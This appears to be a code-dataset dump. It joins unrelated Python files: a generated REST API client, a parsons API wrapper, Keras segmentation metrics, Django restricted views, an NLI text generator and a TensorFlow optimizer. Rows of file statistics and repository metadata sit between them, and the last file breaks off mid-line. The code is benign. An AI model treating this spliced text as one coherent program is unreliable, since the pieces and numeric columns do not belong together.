relationship_guid_delete_using_delete( self, guid, custom_headers=None, raw=False, **operation_config): """relationshipGUIDDelete. :param guid: guid :type guid: str :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :param operation_config: :ref:`Operation configuration overrides<msrest:optionsforoperations>`. :return: str or ClientRawResponse if raw=true :rtype: str or ~msrest.pipeline.ClientRawResponse :raises: :class:`HttpOperationError<msrest.exceptions.HttpOperationError>` """ # Construct URL url = self.relationship_guid_delete_using_delete.metadata['url'] path_format_arguments = { 'guid': self._serialize.url("guid", guid, 'str') } url = self._client.format_url(url, **path_format_arguments) # Construct parameters query_parameters = {} # Construct headers header_parameters = {} header_parameters['Accept'] = 'application/json' if custom_headers: header_parameters.update(custom_headers) # Construct and send request request = self._client.delete(url, query_parameters, header_parameters) response = self._client.send(request, stream=False, **operation_config) if response.status_code not in [200, 204, 401, 403]: raise HttpOperationError(self._deserialize, response) deserialized = None if response.status_code == 200: deserialized = self._deserialize('str', response) if raw: client_raw_response = ClientRawResponse(deserialized, response) return client_raw_response return deserialized relationship_guid_delete_using_delete.metadata = {'url': '/api/relationship/guid/{guid}'} def search_basic_get_using_get( self, query, custom_headers=None, raw=False, **operation_config): """searchBasicGet. :param query: query :type query: str :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :param operation_config: :ref:`Operation configuration overrides<msrest:optionsforoperations>`. :return: str or ClientRawResponse if raw=true :rtype: str or ~msrest.pipeline.ClientRawResponse :raises: :class:`HttpOperationError<msrest.exceptions.HttpOperationError>` """ # Construct URL url = self.search_basic_get_using_get.metadata['url'] # Construct parameters query_parameters = {} query_parameters['query'] = self._serialize.query("query", query, 'str') # Construct headers header_parameters = {} header_parameters['Accept'] = 'application/json' if custom_headers: header_parameters.update(custom_headers) # Construct and send request request = self._client.get(url, query_parameters, header_parameters) response = self._client.send(request, stream=False, **operation_config) if response.status_code not in [200, 401, 403, 404]: raise HttpOperationError(self._deserialize, response) deserialized = None if response.status_code == 200: deserialized = self._deserialize('str', response) if raw: client_raw_response = ClientRawResponse(deserialized, response) return client_raw_response return deserialized search_basic_get_using_get.metadata = {'url': '/api/search'} def typedefs_get_using_get( self, ip_json, custom_headers=None, raw=False, **operation_config): """typedefsGet. :param ip_json: ipJSON :type ip_json: str :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :param operation_config: :ref:`Operation configuration overrides<msrest:optionsforoperations>`. :return: str or ClientRawResponse if raw=true :rtype: str or ~msrest.pipeline.ClientRawResponse :raises: :class:`HttpOperationError<msrest.exceptions.HttpOperationError>` """ # Construct URL url = self.typedefs_get_using_get.metadata['url'] # Construct parameters query_parameters = {} # Construct headers header_parameters = {} header_parameters['Accept'] = 'application/json' header_parameters['Content-Type'] = 'application/json; charset=utf-8' if custom_headers: header_parameters.update(custom_headers) # Construct body body_content = self._serialize.body(ip_json, 'str') # Construct and send request request = self._client.get(url, query_parameters, header_parameters, body_content) response = self._client.send(request, stream=False, **operation_config) if response.status_code not in [200, 401, 403, 404]: raise HttpOperationError(self._deserialize, response) deserialized = None if response.status_code == 200: deserialized = self._deserialize('str', response) if raw: client_raw_response = ClientRawResponse(deserialized, response) return client_raw_response return deserialized typedefs_get_using_get.metadata = {'url': '/api/typedefs'} def typedefs_post_using_post( self, ip_json, custom_headers=None, raw=False, **operation_config): """typedefsPost. :param ip_json: ipJSON :type ip_json: str :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :param operation_config: :ref:`Operation configuration overrides<msrest:optionsforoperations>`. :return: str or ClientRawResponse if raw=true :rtype: str or ~msrest.pipeline.ClientRawResponse :raises: :class:`HttpOperationError<msrest.exceptions.HttpOperationError>` """ # Construct URL url = self.typedefs_post_using_post.metadata['url'] # Construct parameters query_parameters = {} # Construct headers header_parameters = {} header_parameters['Accept'] = 'application/json' header_parameters['Content-Type'] = 'application/json; charset=utf-8' if custom_headers: header_parameters.update(custom_headers) # Construct body body_content = self._serialize.body(ip_json, 'str') # Construct and send request request = self._client.post(url, query_parameters, header_parameters, body_content) response = self._client.send(request, stream=False, **operation_config) if response.status_code not in [200, 201, 401, 403, 404]: raise HttpOperationError(self._deserialize, response) deserialized = None if response.status_code == 200: deserialized = self._deserialize('str', response) if raw: client_raw_response = ClientRawResponse(deserialized, response) return client_raw_response return deserialized typedefs_post_using_post.metadata = {'url': '/api/typedefs'} def typedefs_put_using_put( self, ip_json, custom_headers=None, raw=False, **operation_config): """typedefsPut. :param ip_json: ipJSON :type ip_json: str :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :param operation_config: :ref:`Operation configuration overrides<msrest:optionsforoperations>`. :return: str or ClientRawResponse if raw=true :rtype: str or ~msrest.pipeline.ClientRawResponse :raises: :class:`HttpOperationError<msrest.exceptions.HttpOperationError>` """ # Construct URL url = self.typedefs_put_using_put.metadata['url'] # Construct parameters query_parameters = {} # Construct headers header_parameters = {} header_parameters['Accept'] = 'application/json' header_parameters['Content-Type'] = 'application/json; charset=utf-8' if custom_headers: header_parameters.update(custom_headers) # Construct body body_content = self._serialize.body(ip_json, 'str') # Construct and send request request = self._client.put(url, query_parameters, header_parameters, body_content) response = self._client.send(request, stream=False, **operation_config) if response.status_code not in [200, 201, 401, 403, 404]: raise HttpOperationError(self._deserialize, response) deserialized = None if response.status_code == 200: deserialized = self._deserialize('str', response) if raw: client_raw_response = ClientRawResponse(deserialized, response) return client_raw_response return deserialized typedefs_put_using_put.metadata = {'url': '/api/typedefs'} def typedefs_delete_using_delete( self, ip_json, custom_headers=None, raw=False, **operation_config): """typedefsDelete. :param ip_json: ipJSON :type ip_json: str :param dict custom_headers: headers that will be added to the request :param bool raw: returns the direct response alongside the deserialized response :param operation_config: :ref:`Operation configuration overrides<msrest:optionsforoperations>`. :return: str or ClientRawResponse if raw=true :rtype: str or ~msrest.pipeline.ClientRawResponse :raises: :class:`HttpOperationError<msrest.exceptions.HttpOperationError>` """ # Construct URL url = self.typedefs_delete_using_delete.metadata['url'] # Construct parameters query_parameters = {} # Construct headers header_parameters = {} header_parameters['Accept'] = 'application/json' header_parameters['Content-Type'] = 'application/json; charset=utf-8' if custom_headers: header_parameters.update(custom_headers) # Construct body body_content = self._serialize.body(ip_json, 'str') # Construct and send request request = self._client.delete(url, query_parameters, header_parameters, body_content) response = self._client.send(request, stream=False, **operation_config) if response.status_code not in [200, 204, 401, 403]: raise HttpOperationError(self._deserialize, response) deserialized = None if response.status_code == 200: deserialized = self._deserialize('str', response) if raw: client_raw_response = ClientRawResponse(deserialized, response) return client_raw_response return deserialized typedefs_delete_using_delete.metadata = {'url': '/api/typedefs'}
36.868831
93
0.655571
2,911
28,389
6.190656
0.057712
0.058598
0.031075
0.031075
0.919649
0.912214
0.897176
0.876422
0.872316
0.858443
0
0.011821
0.255064
28,389
769
94
36.916775
0.840316
0.30614
0
0.80303
1
0
0.065645
0.004535
0
0
0
0
0
1
0.048485
false
0
0.015152
0
0.154545
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
1
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
8
0bdafd3779ba36b04180d3d32ebcf5a0c53f6c29
129
py
Python
platform/radio/efr32_multiphy_configurator/pyradioconfig/parts/leopard/calculators/calc_frame.py
lmnotran/gecko_sdk
2e82050dc8823c9fe0e8908c1b2666fb83056230
[ "Zlib" ]
82
2016-06-29T17:24:43.000Z
2021-04-16T06:49:17.000Z
platform/radio/efr32_multiphy_configurator/pyradioconfig/parts/leopard/calculators/calc_frame.py
lmnotran/gecko_sdk
2e82050dc8823c9fe0e8908c1b2666fb83056230
[ "Zlib" ]
6
2022-01-12T18:22:08.000Z
2022-03-25T10:19:27.000Z
platform/radio/efr32_multiphy_configurator/pyradioconfig/parts/leopard/calculators/calc_frame.py
lmnotran/gecko_sdk
2e82050dc8823c9fe0e8908c1b2666fb83056230
[ "Zlib" ]
56
2016-08-02T10:50:50.000Z
2021-07-19T08:57:34.000Z
from pyradioconfig.parts.lynx.calculators.calc_frame import CALC_Frame_lynx class calc_frame_leopard(CALC_Frame_lynx): pass
25.8
75
0.852713
19
129
5.421053
0.578947
0.349515
0.252427
0
0
0
0
0
0
0
0
0
0.093023
129
5
76
25.8
0.880342
0
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0.333333
0.333333
0
0.666667
0
1
0
0
null
1
1
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
1
1
0
1
0
0
8
0bddabc45e819fa11467df8d6bebd357cb617b8a
4,132
py
Python
parsons/pdi/acquisition_types.py
Tomiiwa/parsons
3886327c197e357ba5342603d8409774a541333b
[ "Apache-2.0" ]
3
2019-09-05T16:57:15.000Z
2019-10-01T19:56:58.000Z
parsons/pdi/acquisition_types.py
Tomiiwa/parsons
3886327c197e357ba5342603d8409774a541333b
[ "Apache-2.0" ]
22
2019-09-03T13:23:37.000Z
2019-10-03T20:32:48.000Z
parsons/pdi/acquisition_types.py
Tomiiwa/parsons
3886327c197e357ba5342603d8409774a541333b
[ "Apache-2.0" ]
2
2019-09-01T18:30:10.000Z
2019-10-03T20:07:46.000Z
class AcquisitionTypes: """A class to access the Acquisition Types PDI API endpoint.""" def __init__(self): acqtypes_endpoint = "/acquisition_types" self.url_acqtypes = self.base_url + acqtypes_endpoint super().__init__() def get_acquisition_types(self, limit: int = None): """Get a list of Acquisition Types. `Args:` limit: int Specify limit to return. `Returns:` parsons.Table A Parsons table of all the data. """ return self._request(self.url_acqtypes, limit=limit) def create_acquisition_type(self, acquisition_type: str, acquisition_description: str, acquisition_method: str, page_default: str = None): """ Create a new Acquisition Type `Args:` acquisition_type (string): The acquisition type acquisition_description (string): The acquisition description acquisition_method (string): The acquisition method Options are: "Phone" "Canvass" "Mail" "IVR" "Text Message" "Email" "Event" "Online" "Social" "Site" "Other Method" , pageDefault (string, optional): The page default. "Lookup" (Lookup Page) "WalkList" (Create Lists & Files - Walk List) "PhoneList" (Create Lists & Files - Phone List) "PhoneBank" (Online Phone Bank) "Canvassing" (Mobile Canvassing Device) "Import" (Imports) } """ payload = { "acquisitionType": acquisition_type, "acquisitionDescription": acquisition_description, "acquisitionMethod": acquisition_method, "pageDefault": page_default } return self._request(self.url_acqtypes, req_type='POST', post_data=payload) def get_acquisition_type(self, id: str): """ Get a Acquisition Type by id. `Args:` id: str The Acquisition Type id `Returns:` parsons.Table A Parsons table of all the data. """ return self._request(f"{self.url_acqtypes}/{id}") def delete_acquisition_type(self, id: str): """ Delete a Acquisition Type by id. `Args:` id: str The Acquisition Type id """ return self._request(f"{self.url_acqtypes}/{id}", req_type="DELETE") def update_acquisition_type(self, id: str, acquisition_type: str, acquisition_description: str, acquisition_method: str, page_default: str = None): """ Update Acquisition Type `Args:` acquisition_type (string): The acquisition type acquisition_description (string): The acquisition description acquisition_method (string): The acquisition method Options are: "Phone" "Canvass" "Mail" "IVR" "Text Message" "Email" "Event" "Online" "Social" "Site" "Other Method" , pageDefault (string, optional): The page default. "Lookup" (Lookup Page) "WalkList" (Create Lists & Files - Walk List) "PhoneList" (Create Lists & Files - Phone List) "PhoneBank" (Online Phone Bank) "Canvassing" (Mobile Canvassing Device) "Import" (Imports) } """ payload = { "acquisitionType": acquisition_type, "acquisitionDescription": acquisition_description, "acquisitionMethod": acquisition_method, "pageDefault": page_default } return self._request(f"{self.url_acqtypes}/{id}", req_type='PUT', post_data=payload)
35.62069
99
0.526137
365
4,132
5.791781
0.227397
0.12772
0.042573
0.029801
0.81315
0.779092
0.764901
0.764901
0.756386
0.756386
0
0
0.387464
4,132
115
100
35.930435
0.835243
0.46515
0
0.413793
0
0
0.146173
0.072773
0
0
0
0
0
1
0.206897
false
0
0
0
0.413793
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
0
0
0
7
0bf1ab916096db35aeaf05792449305eae8b89c6
2,086
py
Python
medimodule/Kidney/kidney_tumor_segmentation/models/cascade_2nd/model_2_5/metrics.py
daeun02/MI2RLNet
55f32e3908dc1d5fa6100f9d9fccd23a2636adbb
[ "Apache-2.0" ]
null
null
null
medimodule/Kidney/kidney_tumor_segmentation/models/cascade_2nd/model_2_5/metrics.py
daeun02/MI2RLNet
55f32e3908dc1d5fa6100f9d9fccd23a2636adbb
[ "Apache-2.0" ]
null
null
null
medimodule/Kidney/kidney_tumor_segmentation/models/cascade_2nd/model_2_5/metrics.py
daeun02/MI2RLNet
55f32e3908dc1d5fa6100f9d9fccd23a2636adbb
[ "Apache-2.0" ]
null
null
null
# import keras import tensorflow.keras.backend as K def dice(y_true, y_pred, classes=None, smooth=1.): loss = 0. label_length = classes if classes else y_pred.get_shape().as_list()[-1] y_true = K.cast(y_true > 0.5, dtype=y_true.dtype) y_pred = K.cast(y_pred > 0.5, dtype=y_pred.dtype) if label_length > 1: for num_label in range(label_length): y_true_f = K.flatten(y_true[...,num_label]) y_pred_f = K.flatten(y_pred[...,num_label]) intersection = K.sum(y_true_f * y_pred_f) loss += (2. * intersection + smooth) / (K.sum(y_true_f) + K.sum(y_pred_f) + smooth) return loss / label_length else: y_true_f = K.flatten(y_true) y_pred_f = K.flatten(y_pred) intersection = K.sum(y_true_f * y_pred_f) loss += (2. * intersection + smooth) / (K.sum(y_true_f) + K.sum(y_pred_f) + smooth) return loss def kidney_dice(y_true, y_pred): return dice(y_true[...,1], y_pred[...,1], classes=1) def tumor_dice(y_true, y_pred): return dice(y_true[...,2], y_pred[...,2], classes=1) def iou(y_true, y_pred): loss = 0. label_length = y_pred.get_shape().as_list()[-1] y_true = K.cast(y_true > 0.5, dtype=y_true.dtype) y_pred = K.cast(y_pred > 0.5, dtype=y_pred.dtype) if label_length > 1: for num_label in range(label_length): y_true_f = K.flatten(y_true[...,num_label]) y_pred_f = K.flatten(y_pred[...,num_label]) intersection = K.sum(y_true_f * y_pred_f) notTrue = 1 - y_true_f union = K.sum(y_true_f + (notTrue * y_pred_f)) loss += intersection / (union + K.epsilon()) return loss / label_length else: y_true_f = K.flatten(y_true) y_pred_f = K.flatten(y_pred) intersection = K.sum(y_true_f * y_pred_f) notTrue = 1 - y_true_f union = K.sum(y_true_f + (notTrue * y_pred_f)) loss += intersection / (union + K.epsilon()) return loss / label_length
37.927273
96
0.588686
340
2,086
3.297059
0.126471
0.133809
0.074933
0.071365
0.841213
0.828724
0.828724
0.828724
0.828724
0.776985
0
0.016545
0.275647
2,086
55
97
37.927273
0.725347
0.005753
0
0.777778
0
0
0
0
0
0
0
0
0
1
0.088889
false
0
0.022222
0.044444
0.244444
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
0bf25a040e969459b2072c58bb57dfc9f755abe3
11,242
py
Python
clcd/text_generation/counting.py
felipessalvatore/CLCD
422f9e93d49e4fcfd8048ad5b36898f8713d0370
[ "MIT" ]
4
2020-02-06T19:35:13.000Z
2021-09-04T10:29:11.000Z
clcd/text_generation/counting.py
felipessalvatore/CLCD
422f9e93d49e4fcfd8048ad5b36898f8713d0370
[ "MIT" ]
null
null
null
clcd/text_generation/counting.py
felipessalvatore/CLCD
422f9e93d49e4fcfd8048ad5b36898f8713d0370
[ "MIT" ]
null
null
null
import numpy as np from vocab import male_names, female_names, cities_and_states, countries from vocab_pt import male_names_pt, female_names_pt, cities_pt, countries_pt from util import get_n_different_items from util import vi, vi_On, person, not_vi, create_csv, num2word from util import vi_pt, vi_On_pt, person_pt, not_vi_pt, num2word_pt def contradiction_instance_1(person_list, place_list, n, vi_function=vi, vi_On_function=vi_On, num2word_dict=num2word, choices_plr=["only @ places", "only @ people"], choices_sing=["only @ place", "only @ people"]): """ T = x has visited only num2word(n) places/people new = x visited P1, ...., Pn+1/x1, ...., xn+1 ----------- 1 """ people = np.random.choice(person_list) places = get_n_different_items(place_list, n + 1) new_people = get_n_different_items(person_list, n + 1) if n == 1: coin_choice = choices_sing else: coin_choice = choices_plr n = num2word_dict[n] coin = np.random.choice([0, 1]) if coin == 0: cdr = coin_choice[0] cdr = cdr.replace("@", n) sentence1 = vi_function(people, cdr) sentence2 = vi_On_function(people, places) else: cdr = coin_choice[1] if cdr.find("pessoas") != -1 and n == "dois": # hack n = "duas" # hack cdr = cdr.replace("@", n) sentence1 = vi_function(people, cdr) sentence2 = vi_On_function(people, new_people) return sentence1, sentence2, 1 def contradiction_instance_2(person_list, place_list, n, vi_function=vi, vi_On_function=vi_On, num2word_dict=num2word, place_vrs=["only @ place", "only @ places"], people_vrs=["only @ people", "only @ people"], coord=" and "): """ T = x has visited only num2word(n) place and only num2word(m) people new = x visited x1, ...., xm+1 or new = x visited P1, ...., Pn+1 ----------- 1 """ m = np.random.choice(range(1, n + 1)) n_ = num2word_dict[n] m_ = num2word_dict[m] people = np.random.choice(person_list) if n == 1: place_str = place_vrs[0] else: place_str = place_vrs[1] if m == 1: people_str = people_vrs[0] else: people_str = people_vrs[1] place_str = place_str.replace("@", n_) if people_str.find("pessoas") != -1 and m_ == "dois": # hack m_ = "duas" # hack if people_str.find("pessoa") != -1 and m_ == "um": # hack m_ = "uma" # hack people_str = people_str.replace("@", m_) and_str = place_str + coord + people_str sentence1 = vi_function(people, and_str) coin = np.random.choice([0, 1]) if coin == 0: new_people = get_n_different_items(person_list, m + 1) sentence2 = vi_On_function(people, new_people) else: places = get_n_different_items(place_list, n + 1) sentence2 = vi_On_function(people, places) return sentence1, sentence2, 1 def non_contradiction_instance_1(person_list, place_list, n, vi_function=vi, vi_On_function=vi_On, num2word_dict=num2word, choices_plr=["only @ places", "only @ people"], choices_sing=["only @ place", "only @ people"]): """ T = x has visited only num2word(n) countries/people new = x visited P1, ...., Pk/x1, ...., xk (k<n) ----------- 0 """ if n == 1: k = 1 else: k = np.random.choice(range(1, n)) people = np.random.choice(person_list) places = get_n_different_items(place_list, k) new_people = get_n_different_items(person_list, k) if n == 1: coin_choice = choices_sing else: coin_choice = choices_plr n = num2word_dict[n] coin = np.random.choice([0, 1]) if coin == 0: cdr = coin_choice[0] cdr = cdr.replace("@", n) sentence1 = vi_function(people, cdr) if k == 1: sentence2 = vi_function(people, places[0]) else: sentence2 = vi_On_function(people, places) else: cdr = coin_choice[1] if cdr.find("pessoas") != -1 and n == "dois": # hack n = "duas" # hack cdr = cdr.replace("@", n) sentence1 = vi_function(people, cdr) if k == 1: sentence2 = vi_function(people, new_people[0]) else: sentence2 = vi_On_function(people, new_people) return sentence1, sentence2, 0 def non_contradiction_instance_2(person_list, place_list, n, vi_function=vi, vi_On_function=vi_On, num2word_dict=num2word, place_vrs=["only @ place", "only @ places"], people_vrs=["only @ people", "only @ people"], coord=" and "): """ T = x has visited only num2word(n) countries and only num2word(m) people new = x visited x1, ...., xk (k<n) or new = x visited P1, ...., Pk (k<m) ----------- 0 """ m = np.random.choice(range(1, n + 1)) n_ = num2word_dict[n] m_ = num2word_dict[m] people = np.random.choice(person_list) if n == 1: place_str = place_vrs[0] else: place_str = place_vrs[1] if m == 1: people_str = people_vrs[0] else: people_str = people_vrs[1] place_str = place_str.replace("@", n_) if people_str.find("pessoas") != -1 and m_ == "dois": # hack m_ = "duas" # hack if people_str.find("pessoa") != -1 and m_ == "um": # hack m_ = "uma" # hack people_str = people_str.replace("@", m_) and_str = place_str + coord + people_str sentence1 = vi_function(people, and_str) coin = np.random.choice([0, 1]) if coin == 0: if m == 1: k = 1 else: k = np.random.choice(range(1, m)) new_people = get_n_different_items(person_list, k) sentence2 = vi_On_function(people, new_people) else: if n == 1: k = 1 else: k = np.random.choice(range(1, n)) places = get_n_different_items(place_list, k) sentence2 = vi_On_function(people, places) return sentence1, sentence2, 0 def eng2pt_5(f, g1, g2, g3, g4, g5): return lambda x, y, z: f(x, y, z, g1, g2, g3, g4, g5) # noqa def eng2pt_6(f, g1, g2, g3, g4, g5, g6): return lambda x, y, z: f(x, y, z, g1, g2, g3, g4, g5, g6) # noqa contradiction_instance_1_pt = eng2pt_5(contradiction_instance_1, vi_pt, vi_On_pt, num2word_pt, ["apenas @ lugares", "apenas @ pessoas"], ["apenas @ lugar", "apenas @a pessoa"]) contradiction_instance_2_pt = eng2pt_6(contradiction_instance_2, vi_pt, vi_On_pt, num2word_pt, ["apenas @ lugar", "apenas @ lugares"], ["apenas @ pessoa", "apenas @ pessoas"], " e ") non_contradiction_instance_1_pt = eng2pt_5(non_contradiction_instance_1, vi_pt, vi_On_pt, num2word_pt, ["apenas @ lugares", "apenas @ pessoas"], ["apenas @ lugar", "apenas @a pessoa"]) non_contradiction_instance_2_pt = eng2pt_6(non_contradiction_instance_2, vi_pt, vi_On_pt, num2word_pt, ["apenas @ lugar", "apenas @ lugares"], # noqa ["apenas @ pessoa", "apenas @ pessoas"], # noqa " e ") positive_instances_list_en = [contradiction_instance_1, contradiction_instance_2] negative_instances_list_en = [non_contradiction_instance_1, non_contradiction_instance_2] positive_instances_list_pt = [contradiction_instance_1_pt, contradiction_instance_2_pt] negative_instances_list_pt = [non_contradiction_instance_1_pt, non_contradiction_instance_2_pt] if __name__ == '__main__': # call this script in the main folder, i.e., type # python clcd/text_generation/counting.py # english create_csv(out_path="text_gen_output/counting_train.csv", # noqa size=10000, person_list=male_names, place_list=countries, min_n=1, n=30, positive_instances_list=positive_instances_list_en, negative_instances_list=negative_instances_list_en) # noqa create_csv(out_path="text_gen_output/counting_test.csv", # noqa size=1000, person_list=female_names, place_list=cities_and_states, min_n=1, n=30, positive_instances_list=positive_instances_list_en, negative_instances_list=negative_instances_list_en) # noqa # portuguese create_csv(out_path="text_gen_output/counting_pt_train.csv", # noqa size=10000, person_list=male_names_pt, place_list=countries_pt, min_n=1, n=30, positive_instances_list=positive_instances_list_pt, negative_instances_list=negative_instances_list_pt) # noqa create_csv(out_path="text_gen_output/counting_pt_test.csv", # noqa size=1000, person_list=female_names_pt, place_list=cities_pt, min_n=1, n=30, positive_instances_list=positive_instances_list_pt, negative_instances_list=negative_instances_list_pt) # noqa
36.618893
91
0.494396
1,246
11,242
4.152488
0.105939
0.017008
0.035176
0.03131
0.841709
0.816196
0.780827
0.778894
0.731736
0.621183
0
0.031715
0.408201
11,242
306
92
36.738562
0.745979
0.068849
0
0.814346
0
0
0.068138
0.01355
0
0
0
0
0
1
0.025316
false
0
0.025316
0.008439
0.075949
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
0bf76008942fd1384e62705e81c7337d782022a8
2,033
py
Python
django_restricted_views/views.py
Ruhm42/RestrictedViews
4b84d50e425a683228e4e9ce2f89d9ec382b5d98
[ "BSD-3-Clause" ]
null
null
null
django_restricted_views/views.py
Ruhm42/RestrictedViews
4b84d50e425a683228e4e9ce2f89d9ec382b5d98
[ "BSD-3-Clause" ]
null
null
null
django_restricted_views/views.py
Ruhm42/RestrictedViews
4b84d50e425a683228e4e9ce2f89d9ec382b5d98
[ "BSD-3-Clause" ]
null
null
null
from django.views import generic from django.contrib.auth.decorators import permission_required class RestrictedListView(generic.ListView): """ Generic list view that checks permissions """ def dispatch(self, request, *args, **kwargs): perm = '%s.change_%s' % (self.model._meta.app_label, self.model._meta.model_name) @permission_required(perm, raise_exception=True) def wrapper(request, *args, **kwargs): return super(RestrictedListView, self).dispatch(request, *args, **kwargs) return wrapper(request, *args, **kwargs) class RestrictedUpdateView(generic.UpdateView): """ Generic update view that checks permissions """ def dispatch(self, request, *args, **kwargs): perm = '%s.change_%s' % (self.model._meta.app_label, self.model._meta.model_name) @permission_required(perm, raise_exception=True) def wrapper(request, *args, **kwargs): return super(RestrictedUpdateView, self).dispatch(request, *args, **kwargs) return wrapper(request, *args, **kwargs) class RestrictedCreateView(generic.CreateView): """ Generic create view that checks permissions """ def dispatch(self, request, *args, **kwargs): perm = '%s.add_%s' % (self.model._meta.app_label, self.model._meta.model_name) @permission_required(perm, raise_exception=True) def wrapper(request, *args, **kwargs): return super(RestrictedCreateView, self).dispatch(request, *args, **kwargs) return wrapper(request, *args, **kwargs) class RestrictedDeleteView(generic.DeleteView): """ Generic delete view that checks permissions """ def dispatch(self, request, *args, **kwargs): perm = '%s.delete_%s' % (self.model._meta.app_label, self.model._meta.model_name) @permission_required(perm, raise_exception=True) def wrapper(request, *args, **kwargs): return super(RestrictedDeleteView, self).dispatch(request, *args, **kwargs) return wrapper(request, *args, **kwargs)
47.27907
89
0.687162
229
2,033
5.973799
0.209607
0.128655
0.19883
0.140351
0.730263
0.730263
0.730263
0.730263
0.730263
0.730263
0
0
0.181013
2,033
42
90
48.404762
0.821622
0.086572
0
0.6
0
0
0.024577
0
0
0
0
0
0
1
0.266667
false
0
0.066667
0.133333
0.733333
0
0
0
0
null
0
1
0
0
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
1
0
0
9
0400bf73fe01eb46f4f323a2cd44cd85472c0ade
10,656
py
Python
adalip_opts.py
geoioannou/AdaLip
0b2224ac72831996dbc01d4d9f8599135d4744fc
[ "MIT" ]
null
null
null
adalip_opts.py
geoioannou/AdaLip
0b2224ac72831996dbc01d4d9f8599135d4744fc
[ "MIT" ]
null
null
null
adalip_opts.py
geoioannou/AdaLip
0b2224ac72831996dbc01d4d9f8599135d4744fc
[ "MIT" ]
null
null
null
import tensorflow as tf import numpy as np from tensorflow.python.ops import control_flow_ops from tensorflow.python.ops import math_ops from tensorflow.python.ops import state_ops from tensorflow.python.framework import ops from tensorflow.python.training import optimizer class AdaLip(optimizer.Optimizer): def __init__(self, learning_rate=0.01, gamma=0.9, beta = 0.999, betaL=0.8, momentum=0.0, epsilon=1e-8, c=1e-8, use_locking=False, name="AdaLip"): super(AdaLip, self).__init__(use_locking, name) self._lr = learning_rate; self._gamma = gamma; self._beta = beta; self._epsilon = epsilon self._lr_t = None; self._gamma_t = None; self._beta_t = None; self._epsilon_t = None self._momentum = momentum self._betaL = betaL self._c = c def _prepare(self): self._lr_t = ops.convert_to_tensor(self._lr) self._gamma_t = ops.convert_to_tensor(self._gamma) self._beta_t = ops.convert_to_tensor(self._beta) self._betaL_t = ops.convert_to_tensor(self._betaL) self._epsilon_t = ops.convert_to_tensor(self._epsilon) self._momentum_t = ops.convert_to_tensor(self._momentum) self._c_t = ops.convert_to_tensor(self._c) def _create_slots(self, var_list): self.first_var = min(var_list, key=lambda x: x.name) self._create_non_slot_variable(initial_value=np.array([1.0], dtype="float32"), name="iterations", colocate_with=self.first_var) for v in var_list: self._zeros_slot(v, "momentum", self._name) self._zeros_slot(v, "pr_g", self._name) self._zeros_slot(v, "dt", self._name) self._create_non_slot_variable(initial_value=np.array([1.0], dtype="float32"), name=v.name + "/Ls", colocate_with=v) def _resource_apply_dense(self, grad, var): lr_t = math_ops.cast(self._lr_t, var.dtype.base_dtype) gamma_t = math_ops.cast(self._gamma_t, var.dtype.base_dtype) beta_t = math_ops.cast(self._beta_t, var.dtype.base_dtype) epsilon_t = math_ops.cast(self._epsilon_t, var.dtype.base_dtype) momentum_t = math_ops.cast(self._momentum_t, var.dtype.base_dtype) betaL_t = math_ops.cast(self._betaL_t, var.dtype.base_dtype) c_t = math_ops.cast(self._c_t, var.dtype.base_dtype) # Getting the updated t value required for correction. t_new = self._get_non_slot_variable("iterations") pr_g = self.get_slot(var, "pr_g") dt = self.get_slot(var, "dt") new_dt = dt.assign(grad - pr_g) l = tf.norm(pr_g) / (tf.norm(new_dt) + c_t) Lt = self._get_non_slot_variable(var.name + "/Ls") new_Ls = Lt.assign((betaL_t * Lt) + ((1 - betaL_t) * l)) new_lr = tf.cond(tf.less(t_new, 2), lambda: lr_t, lambda: lr_t * new_Ls) # Getting the moment value and calculating the corrected updated value. mt = self.get_slot(var, "momentum") mt_new = mt.assign(momentum_t * mt - new_lr * grad) with ops.control_dependencies([new_lr]): new_prg = pr_g.assign(grad) var_update = state_ops.assign_add(var, mt_new) return control_flow_ops.group(*[var_update, mt_new, new_prg, new_dt, new_Ls]) def _finish(self, update_ops, name_scope): it = self._get_non_slot_variable("iterations") new_it = it.assign(it + 1) return control_flow_ops.group(*(update_ops + [new_it]), name=name_scope) class AdamLip(optimizer.Optimizer): def __init__(self, learning_rate=0.001, gamma=0.9, beta=0.999, betaL=0.8, epsilon=1e-8, c=1e-8, use_locking=False, name="AdamLip"): super(AdamLip, self).__init__(use_locking, name) self._lr = learning_rate; self._gamma = gamma; self._beta = beta; self._epsilon = epsilon self._lr_t = None; self._gamma_t = None; self._beta_t = None; self._epsilon_t = None self._betaL = betaL self._c = c def _prepare(self): self._lr_t = ops.convert_to_tensor(self._lr) self._gamma_t = ops.convert_to_tensor(self._gamma) self._beta_t = ops.convert_to_tensor(self._beta) self._betaL_t = ops.convert_to_tensor(self._betaL) self._epsilon_t = ops.convert_to_tensor(self._epsilon) self._c_t = ops.convert_to_tensor(self._c) def _create_slots(self, var_list): self.first_var = min(var_list, key=lambda x: x.name) self._create_non_slot_variable(initial_value=np.array([1.0], dtype="float32"), name="iterations", colocate_with=self.first_var) for v in var_list: self._zeros_slot(v, "mt", self._name) self._zeros_slot(v, "vt", self._name) self._zeros_slot(v, "pr_g", self._name) self._zeros_slot(v, "dt", self._name) self._create_non_slot_variable(initial_value=np.array([1.0], dtype="float32"), name=v.name + "/Ls", colocate_with=v) def _resource_apply_dense(self, grad, var): lr_t = math_ops.cast(self._lr_t, var.dtype.base_dtype) gamma_t = 